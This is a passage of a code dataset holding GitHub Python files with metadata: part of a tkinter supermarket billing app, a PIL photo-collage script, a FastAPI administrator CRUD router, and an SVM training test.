      if self.ss3.get() != 0:\n            self.txtarea.insert(END, f\"\\n {self.tss3}\\t\\t{self.ss3.get()}\\t\\tElement3 \")\n\n        if self.ss4.get() != 0:\n            self.txtarea.insert(END, f\"\\n {self.tss4}\\t\\t{self.ss4.get()}\\t\\tElement4 \")\n\n        if self.ss5.get() != 0:\n            self.txtarea.insert(END, f\"\\n {self.tss5}\\t\\t{self.ss5.get()}\\t\\tElement5 \")\n\n        if self.ss5.get() != 0:\n            self.txtarea.insert(END, f\"\\n {self.tss5}\\t\\t{self.ss5.get()}\\t\\tElement5 \")\n\n        if self.ss6.get() != 0:\n            self.txtarea.insert(END, f\"\\n {self.tss6}\\t\\t{self.ss6.get()}\\t\\tElement6 \")\n\n        if self.ss7.get() != 0:\n            self.txtarea.insert(END, f\"\\n {self.tss7}\\t\\t{self.ss7.get()}\\t\\tElement7 \")\n\n        if self.ss8.get() != 0:\n            self.txtarea.insert(END, f\"\\n {self.tss8}\\t\\t{self.ss8.get()}\\t\\tElement8 \")\n\n        if self.ss9.get() != 0:\n            self.txtarea.insert(END, f\"\\n {self.tss9}\\t\\t{self.ss9.get()}\\t\\tElement9 \")\n\n        if self.ss10.get() != 0:\n            self.txtarea.insert(END, f\"\\n {self.tss10}\\t\\t{self.ss10.get()}\\t\\tElement10 \")\n\n        if self.ss11.get() != 0:\n            self.txtarea.insert(END, f\"\\n {self.tss11}\\t\\t{self.ss11.get()}\\t\\tElement11 \")\n\n        if self.ss12.get() != 0:\n            self.txtarea.insert(END, f\"\\n {self.tss12}\\t\\t{self.ss12.get()}\\t\\tElement12 \")\n\n        if self.ss13.get() != 0:\n            self.txtarea.insert(END, f\"\\n {self.tss13}\\t\\t{self.ss13.get()}\\t\\tElement13 \")\n\n        if self.ss14.get() != 0:\n            self.txtarea.insert(END, f\"\\n {self.tss14}\\t\\t{self.ss14.get()}\\t\\tElement14 \")\n\n        if self.ss15.get() != 0:\n            self.txtarea.insert(END, f\"\\n {self.tss15}\\t\\t{self.ss15.get()}\\t\\tElement15 \")\n\n        if self.sss1.get() != 0:\n            self.txtarea.insert(END, f\"\\n {self.tsss1}\\t\\t{self.sss1.get()}\\t\\tElement1 \")\n\n        if self.sss2.get() != 0:\n            self.txtarea.insert(END, f\"\\n {self.tsss2}\\t\\t{self.sss2.get()}\\t\\tElement2 \")\n\n        if self.sss3.get() != 0:\n            self.txtarea.insert(END, f\"\\n {self.tsss3}\\t\\t{self.sss3.get()}\\t\\tElement3 \")\n\n        if self.sss4.get() != 0:\n            self.txtarea.insert(END, f\"\\n {self.tsss4}\\t\\t{self.sss4.get()}\\t\\tElement4 \")\n\n        if self.sss5.get() != 0:\n            self.txtarea.insert(END, f\"\\n {self.tsss5}\\t\\t{self.sss5.get()}\\t\\tElement5 \")\n\n        if self.sss6.get() != 0:\n            self.txtarea.insert(END, f\"\\n {self.tsss6}\\t\\t{self.sss6.get()}\\t\\tElement6 \")\n\n        if self.sss7.get() != 0:\n            self.txtarea.insert(END, f\"\\n {self.tsss7}\\t\\t{self.sss7.get()}\\t\\tElement7 \")\n\n        if self.sss8.get() != 0:\n            self.txtarea.insert(END, f\"\\n {self.tsss8}\\t\\t{self.sss8.get()}\\t\\tElement8 \")\n\n        if self.sss9.get() != 0:\n            self.txtarea.insert(END, f\"\\n {self.tsss9}\\t\\t{self.sss9.get()}\\t\\tElement9 \")\n\n        if self.sss10.get() != 0:\n            self.txtarea.insert(END, f\"\\n {self.tsss10}\\t\\t{self.sss10.get()}\\t\\tElement10 \")\n\n        if self.sss11.get() != 0:\n            self.txtarea.insert(END, f\"\\n {self.tsss11}\\t\\t{self.sss11.get()}\\t\\tElement11 \")\n\n        self.txtarea.insert(END, \"\\n.......................................\")\n        self.txtarea.insert(END, f\"\\nTotal Price $\\t             {self.all}\")\n        self.txtarea.insert(END, \"\\n.......................................\")\n        self.save()\n\n    # ( FUNCTIONS ADD & MIN SECTION 1)\n    def addS1(self):\n        value = self.s1.get()\n        value = value + 1\n        self.s1.set(value)\n        wb = load_workbook(\"sample_file.xlsx\")\n        sheet = wb.active\n\n        sheet['A1'] = value\n        wb.save(\"sample_file.xlsx\")\n\n    def subS1(self):\n        value = self.s1.get()\n        if value > 0:\n            value = value - 1\n        self.s1.set(value)\n        wb = load_workbook(\"sample_file.xlsx\")\n        sheet = wb.active\n\n        sheet['A1'] = value\n        wb.save(\"sample_file.xlsx\")\n\n    def addS2(self):\n        value = self.s2.get()\n        value = value + 1\n        self.s2.set(value)\n        wb = load_workbook(\"sample_file.xlsx\")\n        sheet = wb.active\n\n        sheet['A2'] = value\n        wb.save(\"sample_file.xlsx\")\n\n    def subS2(self):\n        value = self.s2.get()\n        if value > 0:\n            value = value - 1\n        self.s2.set(value)\n        wb = load_workbook(\"sample_file.xlsx\")\n        sheet = wb.active\n\n        sheet['A2'] = value\n        wb.save(\"sample_file.xlsx\")\n\n    def addS3(self):\n        value = self.s3.get()\n        value = value + 1\n        self.s3.set(value)\n        wb = load_workbook(\"sample_file.xlsx\")\n        sheet = wb.active\n\n        sheet['A3'] = value\n        wb.save(\"sample_file.xlsx\")\n\n    def subS3(self):\n        value = self.s3.get()\n        if value > 0:\n            value = value - 1\n        self.s3.set(value)\n        wb = load_workbook(\"sample_file.xlsx\")\n        sheet = wb.active\n\n        sheet['A3'] = value\n        wb.save(\"sample_file.xlsx\")\n\n    def addS4(self):\n        value = self.s4.get()\n        value = value + 1\n        self.s4.set(value)\n        wb = load_workbook(\"sample_file.xlsx\")\n        sheet = wb.active\n\n        sheet['A4'] = value\n        wb.save(\"sample_file.xlsx\")\n\n    def subS4(self):\n        value = self.s4.get()\n        if value > 0:\n            value = value - 1\n        self.s4.set(value)\n        wb = load_workbook(\"sample_file.xlsx\")\n        sheet = wb.active\n\n        sheet['A4'] = value\n        wb.save(\"sample_file.xlsx\")\n\n    def addS5(self):\n        value = self.s5.get()\n        value = value + 1\n        self.s5.set(value)\n\n    def subS5(self):\n        value = self.s5.get()\n        if value > 0:\n            value = value - 1\n        self.s5.set(value)\n\n    def addS6(self):\n        value = self.s6.get()\n        value = value + 1\n        self.s6.set(value)\n\n    def subS6(self):\n        value = self.s6.get()\n        if value > 0:\n            value = value - 1\n        self.s6.set(value)\n\n    def addS7(self):\n        value = self.s7.get()\n        value = value + 1\n        self.s7.set(value)\n\n    def subS7(self):\n        value = self.s7.get()\n        if value > 0:\n            value = value - 1\n        self.s7.set(value)\n\n    def addS8(self):\n        value = self.s8.get()\n        value = value + 1\n        self.s8.set(value)\n\n    def subS8(self):\n        value = self.s8.get()\n        if value > 0:\n            value = value - 1\n        self.s8.set(value)\n\n    def addS9(self):\n        value = self.s9.get()\n        value = value + 1\n        self.s9.set(value)\n\n    def subS9(self):\n        value = self.s9.get()\n        if value > 0:\n            value = value - 1\n        self.s9.set(value)\n\n    def addS10(self):\n        value = self.s10.get()\n        value = value + 1\n        self.s10.set(value)\n\n    def subS10(self):\n        value = self.s10.get()\n        if value > 0:\n            value = value - 1\n        self.s10.set(value)\n\n    def addS11(self):\n        value = self.s11.get()\n        value = value + 1\n        self.s11.set(value)\n\n    def subS11(self):\n        value = self.s11.get()\n        if value > 0:\n            value = value - 1\n        self.s11.set(value)\n\n    def addS12(self):\n        value = self.s12.get()\n        value = value + 1\n        self.s12.set(value)\n\n    def subS12(self):\n        value = self.s12.get()\n        if value > 0:\n            value = value - 1\n        self.s12.set(value)\n\n    def addS13(self):\n        value = self.s13.get()\n        value = value + 1\n        self.s13.set(value)\n\n    def subS13(self):\n        value = self.s13.get()\n        if value > 0:\n            value = value - 1\n        self.s13.set(value)\n\n    def addS14(self):\n        value = self.s14.get()\n        value = value + 1\n        self.s14.set(value)\n\n    def subS14(self):\n        value = self.s14.get()\n        if value > 0:\n            value = value - 1\n        self.s14.set(value)\n\n    def addS15(self):\n        value = self.s15.get()\n        value = value + 1\n        self.s15.set(value)\n\n    def subS15(self):\n        value = self.s15.get()\n        if value > 0:\n            value = value - 1\n        self.s15.set(value)\n\n    # ( FUNCTIONS ADD & MIN SECTION 2 )\n\n    def addSS1(self):\n        value = self.ss1.get()\n        value = value + 1\n        self.ss1.set(value)\n        wb = load_workbook(\"sample_file.xlsx\")\n        sheet = wb.active\n\n        sheet['A1'] = value\n        wb.save(\"sample_file.xlsx\")\n\n    def subSS1(self):\n        value = self.ss1.get()\n        if value > 0:\n            value = value - 1\n        self.ss1.set(value)\n        wb = load_workbook(\"sample_file.xlsx\")\n        sheet = wb.active\n\n        sheet['A1'] = value\n        wb.save(\"sample_file.xlsx\")\n\n    def addSS2(self):\n        value = self.ss2.get()\n        value = value + 1\n        self.ss2.set(value)\n        wb = load_workbook(\"sample_file.xlsx\")\n        sheet = wb.active\n\n        sheet['A2'] = value\n        wb.save(\"sample_file.xlsx\")\n\n    def subSS2(self):\n        value = self.ss2.get()\n        if value > 0:\n            value = value - 1\n        self.ss2.set(value)\n        wb = load_workbook(\"sample_file.xlsx\")\n        sheet = wb.active\n\n        sheet['A2'] = value\n        wb.save(\"sample_file.xlsx\")\n\n    def addSS3(self):\n        value = self.ss3.get()\n        value = value + 1\n        self.ss3.set(value)\n        wb = load_workbook(\"sample_file.xlsx\")\n        sheet = wb.active\n\n        sheet['A3'] = value\n        wb.save(\"sample_file.xlsx\")\n\n    def subSS3(self):\n        value = self.ss3.get()\n        if value > 0:\n            value = value - 1\n        self.ss3.set(value)\n        wb = load_workbook(\"sample_file.xlsx\")\n        sheet = wb.active\n\n        sheet['A3'] = value\n        wb.save(\"sample_file.xlsx\")\n\n    def addSS4(self):\n        value = self.ss4.get()\n        value = value + 1\n        self.ss4.set(value)\n        wb = load_workbook(\"sample_file.xlsx\")\n        sheet = wb.active\n\n        sheet['A4'] = value\n        wb.save(\"sample_file.xlsx\")\n\n    def subSS4(self):\n        value = self.ss4.get()\n        if value > 0:\n            value = value - 1\n        self.ss4.set(value)\n        wb = load_workbook(\"sample_file.xlsx\")\n        sheet = wb.active\n\n        sheet['A4'] = value\n        wb.save(\"sample_file.xlsx\")\n\n    def addSS5(self):\n        value = self.ss5.get()\n        value = value + 1\n        self.ss5.set(value)\n\n    def subSS5(self):\n        value = self.ss5.get()\n        if value > 0:\n            value = value - 1\n        self.ss5.set(value)\n\n    def addSS6(self):\n        value = self.ss6.get()\n        value = value + 1\n        self.ss6.set(value)\n\n    def subSS6(self):\n        value = self.ss6.get()\n        if value > 0:\n            value = value - 1\n        self.ss6.set(value)\n\n    def addSS7(self):\n        value = self.ss7.get()\n        value = value + 1\n        self.ss7.set(value)\n\n    def subSS7(self):\n        value = self.ss7.get()\n        if value > 0:\n            value = value - 1\n        self.ss7.set(value)\n\n    def addSS8(self):\n        value = self.ss8.get()\n        value = value + 1\n        self.ss8.set(value)\n\n    def subSS8(self):\n        value = self.ss8.get()\n        if value > 0:\n            value = value - 1\n        self.ss8.set(value)\n\n    def addSS9(self):\n        value = self.ss9.get()\n        value = value + 1\n        self.ss9.set(value)\n\n    def subSS9(self):\n        value = self.ss9.get()\n        if value > 0:\n            value = value - 1\n        self.ss9.set(value)\n\n    def addSS10(self):\n        value = self.ss10.get()\n        value = value + 1\n        self.ss10.set(value)\n\n    def subSS10(self):\n        value = self.ss10.get()\n        if value > 0:\n            value = value - 1\n        self.ss10.set(value)\n\n    def addSS11(self):\n        value = self.ss11.get()\n        value = value + 1\n        self.ss11.set(value)\n\n    def subSS11(self):\n        value = self.ss11.get()\n        if value > 0:\n            value = value - 1\n        self.ss11.set(value)\n\n    def addSS12(self):\n        value = self.ss12.get()\n        value = value + 1\n        self.ss12.set(value)\n\n    def subSS12(self):\n        value = self.ss12.get()\n        if value > 0:\n            value = value - 1\n        self.ss12.set(value)\n\n    def addSS13(self):\n        value = self.ss13.get()\n        value = value + 1\n        self.ss13.set(value)\n\n    def subSS13(self):\n        value = self.ss13.get()\n        if value > 0:\n            value = value - 1\n        self.ss13.set(value)\n\n    def addSS14(self):\n        value = self.ss14.get()\n        value = value + 1\n        self.ss14.set(value)\n\n    def subSS14(self):\n        value = self.ss14.get()\n        if value > 0:\n            value = value - 1\n        self.ss14.set(value)\n\n    def addSS15(self):\n        value = self.ss15.get()\n        value = value + 1\n        self.ss15.set(value)\n\n    def subSS15(self):\n        value = self.s15.get()\n        if value > 0:\n            value = value - 1\n        self.ss15.set(value)\n\n    # ( FUNCTIONS ADD & MIN SECTION 3 )\n\n    def addSSS1(self):\n        value = self.sss1.get()\n        value = value + 1\n        self.sss1.set(value)\n        wb = load_workbook(\"sample_file.xlsx\")\n        sheet = wb.active\n\n        sheet['A1'] = value\n        wb.save(\"sample_file.xlsx\")\n\n    def subSSS1(self):\n        value = self.sss1.get()\n        if value > 0:\n            value = value - 1\n        self.sss1.set(value)\n        wb = load_workbook(\"sample_file.xlsx\")\n        sheet = wb.active\n\n        sheet['A1'] = value\n        wb.save(\"sample_file.xlsx\")\n\n    def addSSS2(self):\n        value = self.sss2.get()\n        value = value + 1\n        self.sss2.set(value)\n        wb = load_workbook(\"sample_file.xlsx\")\n        sheet = wb.active\n\n        sheet['A2'] = value\n        wb.save(\"sample_file.xlsx\")\n\n    def subSSS2(self):\n        value = self.sss2.get()\n        if value > 0:\n            value = value - 1\n        self.sss2.set(value)\n        wb = load_workbook(\"sample_file.xlsx\")\n        sheet = wb.active\n\n        sheet['A2'] = value\n        wb.save(\"sample_file.xlsx\")\n\n    def addSSS3(self):\n        value = self.sss3.get()\n        value = value + 1\n        self.sss3.set(value)\n        wb = load_workbook(\"sample_file.xlsx\")\n        sheet = wb.active\n\n        sheet['A3'] = value\n        wb.save(\"sample_file.xlsx\")\n\n    def subSSS3(self):\n        value = self.sss3.get()\n        if value > 0:\n            value = value - 1\n        self.sss3.set(value)\n        wb = load_workbook(\"sample_file.xlsx\")\n        sheet = wb.active\n\n        sheet['A3'] = value\n        wb.save(\"sample_file.xlsx\")\n\n    def addSSS4(self):\n        value = self.sss4.get()\n        value = value + 1\n        self.sss4.set(value)\n        wb = load_workbook(\"sample_file.xlsx\")\n        sheet = wb.active\n\n        sheet['A4'] = value\n        wb.save(\"sample_file.xlsx\")\n\n    def subSSS4(self):\n        value = self.sss4.get()\n        if value > 0:\n            value = value - 1\n        self.sss4.set(value)\n        wb = load_workbook(\"sample_file.xlsx\")\n        sheet = wb.active\n\n        sheet['A4'] = value\n        wb.save(\"sample_file.xlsx\")\n\n    def addSSS5(self):\n        value = self.sss5.get()\n        value = value + 1\n        self.sss5.set(value)\n\n    def subSSS5(self):\n        value = self.sss5.get()\n        if value > 0:\n            value = value - 1\n        self.sss5.set(value)\n\n    def addSSS6(self):\n        value = self.sss6.get()\n        value = value + 1\n        self.sss6.set(value)\n\n    def subSSS6(self):\n        value = self.sss6.get()\n        if value > 0:\n            value = value - 1\n        self.sss6.set(value)\n\n    def addSSS7(self):\n        value = self.sss7.get()\n        value = value + 1\n        self.sss7.set(value)\n\n    def subSSS7(self):\n        value = self.sss7.get()\n        if value > 0:\n            value = value - 1\n        self.sss7.set(value)\n\n    def addSSS8(self):\n        value = self.sss8.get()\n        value = value + 1\n        self.sss8.set(value)\n\n    def subSSS8(self):\n        value = self.sss8.get()\n        if value > 0:\n            value = value - 1\n        self.sss8.set(value)\n\n    def addSSS9(self):\n        value = self.sss9.get()\n        value = value + 1\n        self.sss9.set(value)\n\n    def subSSS9(self):\n        value = self.sss9.get()\n        if value > 0:\n            value = value - 1\n        self.sss9.set(value)\n\n    def addSSS10(self):\n        value = self.sss10.get()\n        value = value + 1\n        self.sss10.set(value)\n\n    def subSSS10(self):\n        value = self.sss10.get()\n        if value > 0:\n            value = value - 1\n        self.sss10.set(value)\n\n    def addSSS11(self):\n        value = self.sss11.get()\n        value = value + 1\n        self.sss11.set(value)\n\n    def subSSS11(self):\n        value = self.sss11.get()\n        if value > 0:\n            value = value - 1\n        self.sss11.set(value)\n\n\nroot = Tk()\nwindow = supermarket(root)\nroot.mainloop()\n", "repo_name": "majidsaqr12/simple_supermarket_system", "sub_path": "supermarket.py", "file_name": "supermarket.py", "file_ext": "py", "file_size_in_byte": 50710, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "random.randint", "line_number": 20, "usage_type": "call"}, {"api_name": "tkinter.messagebox.askyesno", "line_number": 786, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 786, "usage_type": "name"}, {"api_name": "openpyxl.load_workbook", "line_number": 934, "usage_type": "call"}, {"api_name": "openpyxl.load_workbook", "line_number": 945, "usage_type": "call"}, {"api_name": "openpyxl.load_workbook", "line_number": 955, "usage_type": "call"}, {"api_name": "openpyxl.load_workbook", "line_number": 966, "usage_type": "call"}, {"api_name": "openpyxl.load_workbook", "line_number": 976, "usage_type": "call"}, {"api_name": "openpyxl.load_workbook", "line_number": 987, "usage_type": "call"}, {"api_name": "openpyxl.load_workbook", "line_number": 997, "usage_type": "call"}, {"api_name": "openpyxl.load_workbook", "line_number": 1008, "usage_type": "call"}, {"api_name": "openpyxl.load_workbook", "line_number": 1141, "usage_type": "call"}, {"api_name": "openpyxl.load_workbook", "line_number": 1152, "usage_type": "call"}, {"api_name": "openpyxl.load_workbook", "line_number": 1162, "usage_type": "call"}, {"api_name": "openpyxl.load_workbook", "line_number": 1173, "usage_type": "call"}, {"api_name": "openpyxl.load_workbook", "line_number": 1183, "usage_type": "call"}, {"api_name": "openpyxl.load_workbook", "line_number": 1194, "usage_type": "call"}, {"api_name": "openpyxl.load_workbook", "line_number": 1204, "usage_type": "call"}, {"api_name": "openpyxl.load_workbook", "line_number": 1215, "usage_type": "call"}, {"api_name": "openpyxl.load_workbook", "line_number": 1348, "usage_type": "call"}, {"api_name": "openpyxl.load_workbook", "line_number": 1359, "usage_type": "call"}, {"api_name": "openpyxl.load_workbook", "line_number": 1369, "usage_type": "call"}, {"api_name": "openpyxl.load_workbook", "line_number": 1380, "usage_type": "call"}, {"api_name": "openpyxl.load_workbook", "line_number": 1390, "usage_type": "call"}, {"api_name": "openpyxl.load_workbook", "line_number": 1401, "usage_type": "call"}, {"api_name": "openpyxl.load_workbook", "line_number": 1411, "usage_type": "call"}, {"api_name": "openpyxl.load_workbook", "line_number": 1422, "usage_type": "call"}]}
{"seq_id": "10630271484", "text": "import os\nfrom PIL import Image\n\n\ndef makedir(path):\n    if not os.path.exists(path):\n        os.mkdir(path)\n        print(\"The directory \\\"\" + path + \"\\\" creates success.\")\n    else:\n        print(\"The directory \\\"\" + path + \"\\\" has already existed.\")\n\n\nbase_path = \"base\"\nmask_path = \"mask\"\nmakedir(base_path)\nmakedir(mask_path)\n\n\nn = int(input(\"Please enter n, n^2 is the number of the pictures.\"))\nprint(\"Please put n^2 pictures to the forder \\\"base\\\".\")\nprint(\"Please put one picture to the forder \\\"mask\\\".\")\nos.system(\"pause\")\nwidth = int(input(\"Please enter the width of the final picture.\"))\nheight = int(input(\"Please enter the height of the final picture.\"))\ntransparency = int(input(\"Please enter the transparency% of the mask.\"))\n\nbase_pictures = []\nfor root, dirs, files in os.walk(os.getcwd()+\"\\\\\"+base_path):\n    for file in files:\n        base_pictures.append(os.path.join(root, file))\n\nnum = 0\nbase = Image.new(\"RGBA\", (width, height))\nfor i in range(0, n):\n\n    for j in range(0, n):\n        picture = Image.open(base_pictures[num])\n        temp = picture.resize((int(width/n), int(height/n)))\n        location = (int(i * width / n), int(j * height / n))\n        base.paste(temp, location)\n        num += 1\n\n    if num >= len(base_pictures):\n        break\n\n    if num >= n*n:\n        break\n\nfor root, files in os.walk(os.getcwd()+\"\\\\\"+mask_path):\n    for file in files:\n        mask_picture = Image.open(mask_path + \"\\\\\" + file)\n\nmask = mask_picture.resize((width, height))\nmask.putalpha(int(transparency/100 * 255))\n\nresult = Image.alpha_composite(base, mask)\nresult.save(\"result.png\")\n", "repo_name": "FTDsms/PhotoMixer", "sub_path": "photo_mixer.py", "file_name": "photo_mixer.py", "file_ext": "py", "file_size_in_byte": 1606, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.exists", "line_number": 6, "usage_type": "call"}, {"api_name": "os.path", "line_number": 6, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 7, "usage_type": "call"}, {"api_name": "os.system", "line_number": 22, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 28, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 30, "usage_type": "call"}, {"api_name": "os.path", "line_number": 30, "usage_type": "attribute"}, {"api_name": "PIL.Image.new", "line_number": 33, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 33, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 37, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 37, "usage_type": "name"}, {"api_name": "os.walk", "line_number": 49, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 49, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 51, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 51, "usage_type": "name"}, {"api_name": "PIL.Image.alpha_composite", "line_number": 56, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 56, "usage_type": "name"}]}
{"seq_id": "30929078717", "text": "from .. import models, schemas, utils\nfrom fastapi import FastAPI, HTTPException, Response, status, Depends,APIRouter\nfrom ..database import get_db\nfrom sqlalchemy.orm import Session\nfrom typing import List\n\n\nrouter = APIRouter(\n    prefix=\"/administrator\",\n     tags=['Administrators']\n\n)\n\n\n\"\"\" ADMINISTRATOR API \"\"\"\n# Create Administrator\n\n\n@router.post(\"/\", status_code=status.HTTP_201_CREATED)\ndef create_administrator(administrator: schemas.AdministratorCreate, db: Session = Depends(get_db)):\n    new_administrator = models.Administrator(**administrator.dict())\n    db.add(new_administrator)\n    db.commit()\n    db.refresh(new_administrator)\n    return new_administrator\n\n# Read One Administrator\n\n\n@router.get(\"/{id}\", response_model=schemas.AdministratorResponse)\ndef get_one_administrator(id: str, db: Session = Depends(get_db)):\n    administrator = db.query(models.Administrator).filter(\n        models.Administrator.id == id).first()\n\n    if not administrator:\n        raise HTTPException(status_code=status.HTTP_404_NOT_FOUND,\n                            detail=f\"Administrator with id: {id} was not found\")\n    return administrator\n\n# Read All Administrator\n\n\n@router.get(\"/\", response_model=List[schemas.AdministratorResponse])\ndef get_administrator(db: Session = Depends(get_db)):\n    administrator = db.query(models.Administrator).all()\n    return administrator\n\n# Update Administrator\n\n\n@router.put(\"/{id}\", response_model=schemas.AdministratorResponse)\ndef update_administrator(id: str, updated_administrator: schemas.AdministratorCreate, db: Session = Depends(get_db)):\n\n    administrator_query = db.query(models.Administrator).filter(\n        models.Administrator.id == id)\n\n    administrator = administrator_query.first()\n\n    if administrator == None:\n        raise HTTPException(status_code=status.HTTP_404_NOT_FOUND,\n                            detail=f\"Administrator with id: {id} does not exist\")\n\n    administrator_query.update(\n        updated_administrator.dict(), synchronize_session=False)\n    db.commit()\n    return administrator_query.first()\n\n\n# Delete Admission\n@router.delete(\"/{id}\", status_code=status.HTTP_204_NO_CONTENT)\ndef delete_administrator(id: str, db: Session = Depends(get_db)):\n\n    administrator = db.query(models.Administrator).filter(\n        models.Administrator.id == id)\n\n    if administrator.first() == None:\n        raise HTTPException(status_code=status.HTTP_404_NOT_FOUND,\n                            detail=f\"Administrator with id: {id} does not exist\")\n\n    administrator.delete(synchronize_session=False)\n    db.commit()\n    return Response(status_code=status.HTTP_204_NO_CONTENT)", "repo_name": "amombofortune/festohealth", "sub_path": "app/routers/administrator.py", "file_name": "administrator.py", "file_ext": "py", "file_size_in_byte": 2642, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "fastapi.APIRouter", "line_number": 8, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.Session", "line_number": 20, "usage_type": "name"}, {"api_name": "fastapi.Depends", "line_number": 20, "usage_type": "call"}, {"api_name": "database.get_db", "line_number": 20, "usage_type": "argument"}, {"api_name": "fastapi.status.HTTP_201_CREATED", "line_number": 19, "usage_type": "attribute"}, {"api_name": "fastapi.status", "line_number": 19, "usage_type": "name"}, {"api_name": "sqlalchemy.orm.Session", "line_number": 31, "usage_type": "name"}, {"api_name": "fastapi.Depends", "line_number": 31, "usage_type": "call"}, {"api_name": "database.get_db", "line_number": 31, "usage_type": "argument"}, {"api_name": "fastapi.HTTPException", "line_number": 36, "usage_type": "call"}, {"api_name": "fastapi.status.HTTP_404_NOT_FOUND", "line_number": 36, "usage_type": "attribute"}, {"api_name": "fastapi.status", "line_number": 36, "usage_type": "name"}, {"api_name": "sqlalchemy.orm.Session", "line_number": 44, "usage_type": "name"}, {"api_name": "fastapi.Depends", "line_number": 44, "usage_type": "call"}, {"api_name": "database.get_db", "line_number": 44, "usage_type": "argument"}, {"api_name": "typing.List", "line_number": 43, "usage_type": "name"}, {"api_name": "sqlalchemy.orm.Session", "line_number": 52, "usage_type": "name"}, {"api_name": "fastapi.Depends", "line_number": 52, "usage_type": "call"}, {"api_name": "database.get_db", "line_number": 52, "usage_type": "argument"}, {"api_name": "fastapi.HTTPException", "line_number": 60, "usage_type": "call"}, {"api_name": "fastapi.status.HTTP_404_NOT_FOUND", "line_number": 60, "usage_type": "attribute"}, {"api_name": "fastapi.status", "line_number": 60, "usage_type": "name"}, {"api_name": "sqlalchemy.orm.Session", "line_number": 71, "usage_type": "name"}, {"api_name": "fastapi.Depends", "line_number": 71, "usage_type": "call"}, {"api_name": "database.get_db", "line_number": 71, "usage_type": "argument"}, {"api_name": "fastapi.HTTPException", "line_number": 77, "usage_type": "call"}, {"api_name": "fastapi.status.HTTP_404_NOT_FOUND", "line_number": 77, "usage_type": "attribute"}, {"api_name": "fastapi.status", "line_number": 77, "usage_type": "name"}, {"api_name": "fastapi.Response", "line_number": 82, "usage_type": "call"}, {"api_name": "fastapi.status.HTTP_204_NO_CONTENT", "line_number": 82, "usage_type": "attribute"}, {"api_name": "fastapi.status", "line_number": 82, "usage_type": "name"}, {"api_name": "fastapi.status.HTTP_204_NO_CONTENT", "line_number": 70, "usage_type": "attribute"}, {"api_name": "fastapi.status", "line_number": 70, "usage_type": "name"}]}
{"seq_id": "6188922931", "text": "# -*- coding: utf-8 -*-\n#------------------------------------------------------------------------------\n#------------------------------------------------------------------------------\n# Import\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom src.support_vector_machine import PegasosSVM, SVM\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn import datasets\n\n#------------------------------------------------------------------------------\n#------------------------------------------------------------------------------\n\nif __name__ == \"__main__\":\n    \n    np.random.seed(42)\n\n    X, y = datasets.make_blobs(n_samples=50, n_features=2, centers=2, cluster_std=1.05)\n    y = np.where(y == 0, -1, 1)\n\n    X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)\n    \n    # Create an instance of PegasosSVM\n    pegasos_svm = PegasosSVM(learning_rate=0.01, lambda_param=0.1, n_iters=100)\n    loss = pegasos_svm.fit(X_train, y_train, loss=True)\n\n    # Test the trained model\n    accuracy = pegasos_svm.score(X_test, y_test)\n    print(\"Accuracy:\", accuracy)\n\n    pegasos_svm.plot_svm(X_train, y_train)\n        \n    plt.figure()\n    # Plot the learning curve\n    plt.plot(loss)\n    plt.title('Pegasos SVM Learning Curve')\n    plt.xlabel('Iteration')\n    plt.ylabel('Loss')\n    plt.show()\n    \n    \n    svm = SVM(learning_rate=0.01, lambda_param=0.1, n_iters=100)\n    svm.fit(X_train, y_train)\n    \n    accuracy = svm.score(X_test, y_test)\n    print(\"Accuracy:\", accuracy)\n    \n    svm.plot_svm(X_train, y_train)\n    \n#------------------------------------------------------------------------------\n#------------------------------------------------------------------------------", "repo_name": "yannTrm/machine_learning_course", "sub_path": "test/test_pegasos.py", "file_name": "test_pegasos.py", "file_ext": "py", "file_size_in_byte": 1708, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.random.seed", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 18, "usage_type": "attribute"}, {"api_name": "sklearn.datasets.make_blobs", "line_number": 20, "usage_type": "call"}, {"api_name": "sklearn.datasets", "line_number": 20, "usage_type": "name"}, {"api_name": "numpy.where", "line_number": 21, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 23, "usage_type": "call"}, {"api_name": "src.support_vector_machine.PegasosSVM", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 35, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}, {"api_name": "src.support_vector_machine.SVM", "line_number": 44, "usage_type": "call"}]}
